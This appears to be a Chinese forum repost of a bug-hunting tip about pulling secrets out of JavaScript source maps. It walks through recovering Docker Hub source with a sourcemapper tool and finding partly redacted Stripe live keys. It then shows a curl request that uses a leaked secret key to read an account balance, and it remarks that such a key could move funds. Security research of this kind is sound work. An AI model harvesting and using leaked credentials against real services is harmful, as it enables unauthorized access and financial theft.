|
原文链接:技巧 | 发现JS中的秘密
介绍在寻找Web 应用程序的漏洞时 JavaScript是一个重点突破口。一些 API 和加密密钥就存在其中。JavaScript 源映射在 Chrome 开发面板(按F12打开)的设置(按F1打开)中,能够经过勾选 "Enable Source Maps" 选项来设置是否须要加载源映射
JavaScript源映射是将 JavaScript 文件中的代码映射到原始源代码中,如果原始源代码中包含 API 密钥或密码等,就会带来安全风险。从而允许对敏感资源进行未经授权的访问。这对调试发现漏洞非常有用,可以轻松的找到错误的根源。 寻找漏洞 使用工具能够把JavaScript 重构为更具可读性的版本。如何示例:
- doi@asov:~$ ./sourcemapper -output dhubsrc -url https://hub.docker.com/public/js/client.356c14916fb23f85707f.js.map
- [+] RetrivingSourcemapfromhttps://hub.docker.com/public/js/client.356c14916fb23f85707f.js.map
- [+] Read23045027 bytes, parsing JSON
- [+] RetrievedSourcemapwith version 3, containing 1828 entries
- [+] Writing9076765 bytes to dhubsrc/webpack:/js/client.356c14916fb23f85707f.js
- [+] Writing1014 bytes to dhubsrc/webpack:/webpack/bootstrap 356c14916fb23f85707f
- [+] Writing3174 bytes to dhubsrc/webpack:/app/scripts/client.js
- [+] Writing281 bytes to dhubsrc/webpack:/~/babel-runtime/helpers/interop-require-default.js
- [+] Writing151 bytes to dhubsrc/webpack:/~/babel-core/polyfill.js
- {snip}
复制代码 一旦代码成为可读格式,我们只需要花几分钟就能在 JavaScript 才能找到敏感信息:
- exportconstS0 = 'pk_live_[REDACTED]es33';
- exportconstS1 = 'sk_live_[REDACTED]du8d';
- exportconstSTRIPE_HEADER_NAME = 'REDACTED';
- exportconstCURRENCY = 'USD';
- exportconstSTRIPE_PAY_BUTTON = 'Pay for REDACTED';
复制代码 上面就是API 密钥!Stripe 有一个非常方便的 API,可以用来查看这个账户的余额,可以使用这个密钥把钱转到另一个账户。
- ❯ curl https://api.stripe.com/v1/balance -u sk_live_REDACTEDdu8d
- {"object": "balance",
- "available": [ {
- "amount": 1761520.76,
- "currency": "usd",
- "source_types": {
- "card": 0 } } ]
- }
复制代码
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|